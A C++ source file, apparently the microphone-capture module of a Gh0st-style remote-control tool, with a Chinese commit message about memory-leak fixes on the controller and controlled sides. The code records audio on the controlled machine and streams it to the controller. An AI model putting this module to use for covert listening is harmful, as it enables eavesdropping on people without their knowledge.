1、修复主控端CTalkDlg的内存泄漏问题,被控端即时消息对话框置于顶层。 2、SAFE_DELETE(ContextObject->olps)有崩溃概率。改为主控端退出时先令被控端退出,就没有内存泄漏。 3、开关音频时偶有内存泄漏,waveInCallBack线程不能正常退出。
126 lines
2.6 KiB
C++
126 lines
2.6 KiB
C++
// AudioManager.cpp: implementation of the CAudioManager class.
|
|
//
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
#include "stdafx.h"
|
|
#include "AudioManager.h"
|
|
#include "Common.h"
|
|
#include <Mmsystem.h>
|
|
#include <IOSTREAM>
|
|
|
|
|
|
using namespace std;
|
|
|
|
//////////////////////////////////////////////////////////////////////
|
|
// Construction/Destruction
|
|
//////////////////////////////////////////////////////////////////////
|
|
|
|
CAudioManager::CAudioManager(IOCPClient* ClientObject, int n):CManager(ClientObject)
|
|
{
|
|
printf("new CAudioManager %x\n", this);
|
|
|
|
m_bIsWorking = FALSE;
|
|
m_AudioObject = NULL;
|
|
|
|
if (Initialize()==FALSE)
|
|
{
|
|
return;
|
|
}
|
|
|
|
BYTE bToken = TOKEN_AUDIO_START;
|
|
m_ClientObject->OnServerSending((char*)&bToken, 1);
|
|
|
|
WaitForDialogOpen(); //等待对话框打开
|
|
|
|
m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread,
|
|
(LPVOID)this, 0, NULL);
|
|
}
|
|
|
|
|
|
VOID CAudioManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
|
|
{
|
|
switch(szBuffer[0])
|
|
{
|
|
case COMMAND_NEXT:
|
|
{
|
|
NotifyDialogIsOpen();
|
|
break;
|
|
}
|
|
default:
|
|
{
|
|
m_AudioObject->PlayBuffer(szBuffer, ulLength);
|
|
break;
|
|
}
|
|
}
|
|
}
|
|
|
|
DWORD CAudioManager::WorkThread(LPVOID lParam) //发送声音到服务端
|
|
{
|
|
CAudioManager *This = (CAudioManager *)lParam;
|
|
while (This->m_bIsWorking)
|
|
{
|
|
This->SendRecordBuffer();
|
|
}
|
|
|
|
cout<<"CAudioManager WorkThread end\n";
|
|
|
|
return 0;
|
|
}
|
|
|
|
int CAudioManager::SendRecordBuffer()
|
|
{
|
|
DWORD dwBufferSize = 0;
|
|
DWORD dwReturn = 0;
|
|
//这里得到 音频数据
|
|
LPBYTE szBuffer = m_AudioObject->GetRecordBuffer(&dwBufferSize);
|
|
if (szBuffer == NULL)
|
|
return 0;
|
|
//分配缓冲区
|
|
LPBYTE szPacket = new BYTE[dwBufferSize + 1];
|
|
//加入数据头
|
|
szPacket[0] = TOKEN_AUDIO_DATA; //向主控端发送该消息
|
|
//复制缓冲区
|
|
memcpy(szPacket + 1, szBuffer, dwBufferSize);
|
|
//发送出去
|
|
if (dwBufferSize > 0)
|
|
{
|
|
dwReturn = m_ClientObject->OnServerSending((char*)szPacket, dwBufferSize + 1);
|
|
}
|
|
delete szPacket;
|
|
return dwReturn;
|
|
}
|
|
|
|
CAudioManager::~CAudioManager()
|
|
{
|
|
m_bIsWorking = FALSE; //设定工作状态为假
|
|
WaitForSingleObject(m_hWorkThread, INFINITE); //等待 工作线程结束
|
|
if (m_hWorkThread)
|
|
CloseHandle(m_hWorkThread);
|
|
|
|
if (m_AudioObject!=NULL)
|
|
{
|
|
delete m_AudioObject;
|
|
m_AudioObject = NULL;
|
|
}
|
|
printf("~CAudioManager %x\n", this);
|
|
}
|
|
|
|
//USB
|
|
BOOL CAudioManager::Initialize()
|
|
{
|
|
if (!waveInGetNumDevs()) //获取波形输入设备的数目 实际就是看看有没有声卡
|
|
return FALSE;
|
|
|
|
// SYS SYS P
|
|
// 正在使用中.. 防止重复使用
|
|
if (m_bIsWorking==TRUE)
|
|
{
|
|
return FALSE;
|
|
}
|
|
|
|
m_AudioObject = new CAudio; //功能类
|
|
|
|
m_bIsWorking = TRUE;
|
|
return TRUE;
|
|
}
|